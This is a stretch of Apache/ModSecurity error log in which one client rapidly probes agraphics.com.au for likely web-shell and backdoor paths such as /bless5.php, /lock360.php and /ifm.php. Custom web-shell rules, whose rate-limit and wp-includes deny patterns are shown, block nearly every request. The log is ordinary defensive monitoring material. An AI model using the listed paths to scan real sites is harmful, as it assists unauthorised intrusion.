[Tue Nov 25 20:18:47.936669 2025] [:error] [pid 28740:tid 28800] [client 134.149.17.123:17331] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSWep1ppQCoYxWW6V0WS9QAAAkk"]
[Tue Nov 25 20:18:48.867167 2025] [:error] [pid 14077:tid 14129] [client 134.149.17.123:17278] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSWeqBG9n7UHEkwDTyipdQAAAFM"]
[Tue Nov 25 20:18:50.449304 2025] [:error] [pid 28842:tid 29003] [client 134.149.17.123:17382] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWeqtNmoaPf6T4-6C2khQAAA00"]
[Tue Nov 25 20:18:51.121215 2025] [:error] [pid 14168:tid 14173] [client 134.149.17.123:17300] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWeq_R-ZDU0QEgAIIty2AAAAMI"]
[Tue Nov 25 20:18:52.093446 2025] [:error] [pid 14077:tid 14124] [client 134.149.17.123:17309] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWerBG9n7UHEkwDTyipewAAAE4"]
[Tue Nov 25 20:18:52.886090 2025] [:error] [pid 14077:tid 14126] [client 134.149.17.123:17367] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWerBG9n7UHEkwDTyipfwAAAFA"]
[Tue Nov 25 20:18:53.767304 2025] [:error] [pid 28836:tid 29006] [client 134.149.17.123:65373] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSWerZwNRsoxcLQGkTfPQwAAAtA"]
[Tue Nov 25 20:18:55.189859 2025] [:error] [pid 14077:tid 14117] [client 134.149.17.123:17310] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSWerxG9n7UHEkwDTyipggAAAEc"]
[Tue Nov 25 20:18:56.347199 2025] [:error] [pid 14077:tid 14112] [client 134.149.17.123:17296] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSWesBG9n7UHEkwDTyiphwAAAEI"]
[Tue Nov 25 20:18:57.862852 2025] [:error] [pid 28740:tid 28796] [client 134.149.17.123:17306] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSWesVppQCoYxWW6V0WTCAAAAkU"]
[Tue Nov 25 20:18:58.849962 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:65386] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww1.php"] [unique_id "aSWeshG9n7UHEkwDTyiplAAAAFQ"]
[Tue Nov 25 20:19:00.778128 2025] [:error] [pid 14077:tid 14126] [client 134.149.17.123:17229] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqq.php"] [unique_id "aSWetBG9n7UHEkwDTyipnwAAAFA"]
[Tue Nov 25 20:19:02.744470 2025] [:error] [pid 14077:tid 14130] [client 134.149.17.123:17314] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqq.php"] [unique_id "aSWethG9n7UHEkwDTyippQAAAFQ"]
[Tue Nov 25 20:19:04.346890 2025] [:error] [pid 14078:tid 14151] [client 134.149.17.123:65413] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqq.php"] [unique_id "aSWeuNVXYbb0ii_rVoJUBQAAAI4"]
[Tue Nov 25 20:19:05.675766 2025] [:error] [pid 28740:tid 28801] [client 134.149.17.123:17392] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qqq.php"] [unique_id "aSWeuVppQCoYxWW6V0WTKQAAAko"]
[Tue Nov 25 20:19:06.716638 2025] [:error] [pid 14078:tid 14150] [client 134.149.17.123:17158] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aSWeutVXYbb0ii_rVoJUCAAAAI0"]
[Tue Nov 25 20:19:08.287030 2025] [:error] [pid 14076:tid 14091] [client 134.149.17.123:17255] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aSWevHsB4Gz6Qw-pvBsitQAAAAo"]
[Tue Nov 25 20:19:09.495474 2025] [:error] [pid 14077:tid 14117] [client 134.149.17.123:17393] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aSWevRG9n7UHEkwDTyipuAAAAEc"]
[Tue Nov 25 20:19:10.641852 2025] [:error] [pid 28739:tid 28777] [client 134.149.17.123:17220] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aSWevhxGpKmlkG4FexSHYAAAAg8"]
[Tue Nov 25 20:19:11.315325 2025] [:error] [pid 14076:tid 14096] [client 134.149.17.123:17222] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSWev3sB4Gz6Qw-pvBsiugAAAA8"]
[Tue Nov 25 20:19:12.441386 2025] [:error] [pid 28739:tid 28779] [client 134.149.17.123:17321] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSWewBxGpKmlkG4FexSHYQAAAhE"]
[Tue Nov 25 20:19:13.666613 2025] [:error] [pid 14078:tid 14151] [client 134.149.17.123:17298] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSWewdVXYbb0ii_rVoJUEQAAAI4"]
[Tue Nov 25 20:19:14.501065 2025] [:error] [pid 28842:tid 28991] [client 134.149.17.123:65372] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aSWewtNmoaPf6T4-6C2k0wAAA0E"]
[Tue Nov 25 20:19:15.550490 2025] [:error] [pid 14168:tid 14190] [client 134.149.17.123:17305] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSWew_R-ZDU0QEgAIItzBAAAANM"]
[Tue Nov 25 20:19:16.531573 2025] [proxy_fcgi:error] [pid 14168:tid 14183] [client 134.149.17.123:65466] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:19:17.063093 2025] [proxy_fcgi:error] [pid 14168:tid 14176] [client 134.149.17.123:65466] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:19:18.242750 2025] [:error] [pid 14168:tid 14188] [client 134.149.17.123:65466] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSWexvR-ZDU0QEgAIItzDwAAANE"]
[Tue Nov 25 20:19:19.774272 2025] [proxy_fcgi:error] [pid 14077:tid 14129] [client 134.149.17.123:65454] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 20:19:20.848129 2025] [:error] [pid 14077:tid 14115] [client 134.149.17.123:65454] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSWeyBG9n7UHEkwDTyip4AAAAEU"]
[Tue Nov 25 20:19:21.894970 2025] [:error] [pid 14078:tid 14142] [client 134.149.17.123:17313] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSWeydVXYbb0ii_rVoJUGgAAAIU"]
[Tue Nov 25 20:19:22.927384 2025] [:error] [pid 28739:tid 28763] [client 134.149.17.123:17342] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSWeyhxGpKmlkG4FexSHcAAAAgE"]
[Tue Nov 25 20:19:24.081538 2025] [:error] [pid 28739:tid 28767] [client 134.149.17.123:17327] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aSWezBxGpKmlkG4FexSHeQAAAgU"]
[Tue Nov 25 20:19:24.915008 2025] [:error] [pid 28739:tid 28782] [client 134.149.17.123:17257] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aSWezBxGpKmlkG4FexSHewAAAhQ"]
[Tue Nov 25 20:19:25.779958 2025] [:error] [pid 28836:tid 29008] [client 134.149.17.123:17282] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aSWezZwNRsoxcLQGkTfPaAAAAtI"]
[Tue Nov 25 20:19:26.963345 2025] [:error] [pid 28842:tid 29025] [client 134.149.17.123:65377] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aSWeztNmoaPf6T4-6C2k5gAAA1c"]
[Tue Nov 25 20:19:27.962992 2025] [:error] [pid 2987:tid 2990] [client 134.149.17.123:17366] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aSWez8-djEt-pTzPxnyv3gAAAUE"]
[Tue Nov 25 20:19:29.480451 2025] [:error] [pid 28739:tid 28783] [client 134.149.17.123:17334] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aSWe0RxGpKmlkG4FexSHiQAAAhU"]
[Tue Nov 25 20:19:31.029099 2025] [:error] [pid 28609:tid 28636] [client 134.149.17.123:17398] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aSWe0yGGdT-nZJVs3x3QbQAAAZI"]
[Tue Nov 25 20:19:31.786728 2025] [:error] [pid 28739:tid 28762] [client 134.149.17.123:17274] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aSWe0xxGpKmlkG4FexSHjwAAAgA"]
[Tue Nov 25 20:19:32.969218 2025] [:error] [pid 28740:tid 28797] [client 134.149.17.123:65347] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aSWe1FppQCoYxWW6V0WTjAAAAkY"]
[Tue Nov 25 20:19:33.761066 2025] [:error] [pid 14078:tid 14148] [client 134.149.17.123:65409] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aSWe1dVXYbb0ii_rVoJUJwAAAIs"]
[Tue Nov 25 20:19:35.396432 2025] [:error] [pid 14076:tid 14081] [client 134.149.17.123:17317] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aSWe13sB4Gz6Qw-pvBsi4QAAAAA"]
[Tue Nov 25 20:19:36.538486 2025] [:error] [pid 2987:tid 3005] [client 134.149.17.123:17227] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aSWe2M-djEt-pTzPxnyv6AAAAVA"]
[Tue Nov 25 20:19:37.961379 2025] [:error] [pid 28842:tid 28998] [client 134.149.17.123:65444] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aSWe2dNmoaPf6T4-6C2k_AAAA0g"]
[Tue Nov 25 20:19:39.273818 2025] [:error] [pid 28739:tid 28778] [client 134.149.17.123:17329] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSWe2xxGpKmlkG4FexSHnAAAAhA"]
[Tue Nov 25 20:19:40.240943 2025] [:error] [pid 28842:tid 29001] [client 134.149.17.123:65437] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aSWe3NNmoaPf6T4-6C2lBAAAA0s"]
[Tue Nov 25 20:19:41.082489 2025] [:error] [pid 28740:tid 28803] [client 134.149.17.123:65447] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSWe3VppQCoYxWW6V0WTlwAAAkw"]
[Tue Nov 25 20:19:41.686504 2025] [:error] [pid 14077:tid 14115] [client 134.149.17.123:65379] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSWe3RG9n7UHEkwDTyiqKAAAAEU"]
[Tue Nov 25 20:19:42.406471 2025] [:error] [pid 2987:tid 2997] [client 134.149.17.123:17292] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSWe3s-djEt-pTzPxnyv7gAAAUg"]
[Tue Nov 25 20:19:43.285224 2025] [:error] [pid 28739:tid 28776] [client 134.149.17.123:17237] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSWe3xxGpKmlkG4FexSHqAAAAg4"]
[Tue Nov 25 20:19:45.511156 2025] [:error] [pid 14078:tid 14159] [client 134.149.17.123:65366] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bge.php"] [unique_id "aSWe4dVXYbb0ii_rVoJUOwAAAJY"]
[Tue Nov 25 20:19:46.284434 2025] [:error] [pid 14077:tid 14127] [client 134.149.17.123:17363] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bge.php"] [unique_id "aSWe4hG9n7UHEkwDTyiqNgAAAFE"]
[Tue Nov 25 20:19:47.250666 2025] [:error] [pid 14076:tid 14081] [client 134.149.17.123:65465] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bge.php"] [unique_id "aSWe43sB4Gz6Qw-pvBsi7QAAAAA"]
[Tue Nov 25 20:19:48.091770 2025] [:error] [pid 28740:tid 28812] [client 134.149.17.123:65469] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bge.php"] [unique_id "aSWe5FppQCoYxWW6V0WTvwAAAlU"]
[Tue Nov 25 20:19:48.847703 2025] [:error] [pid 28842:tid 29003] [client 134.149.17.123:65351] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifm.php"] [unique_id "aSWe5NNmoaPf6T4-6C2lJgAAA00"]
[Tue Nov 25 20:19:49.762679 2025] [:error] [pid 28740:tid 28810] [client 134.149.17.123:17373] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifm.php"] [unique_id "aSWe5VppQCoYxWW6V0WTxQAAAlM"]
[Tue Nov 25 20:19:50.576454 2025] [:error] [pid 14076:tid 14084] [client 134.149.17.123:17337] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifm.php"] [unique_id "aSWe5nsB4Gz6Qw-pvBsi8AAAAAM"]
[Tue Nov 25 20:19:51.532603 2025] [:error] [pid 28740:tid 28799] [client 134.149.17.123:65416] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ifm.php"] [unique_id "aSWe51ppQCoYxWW6V0WTywAAAkg"]
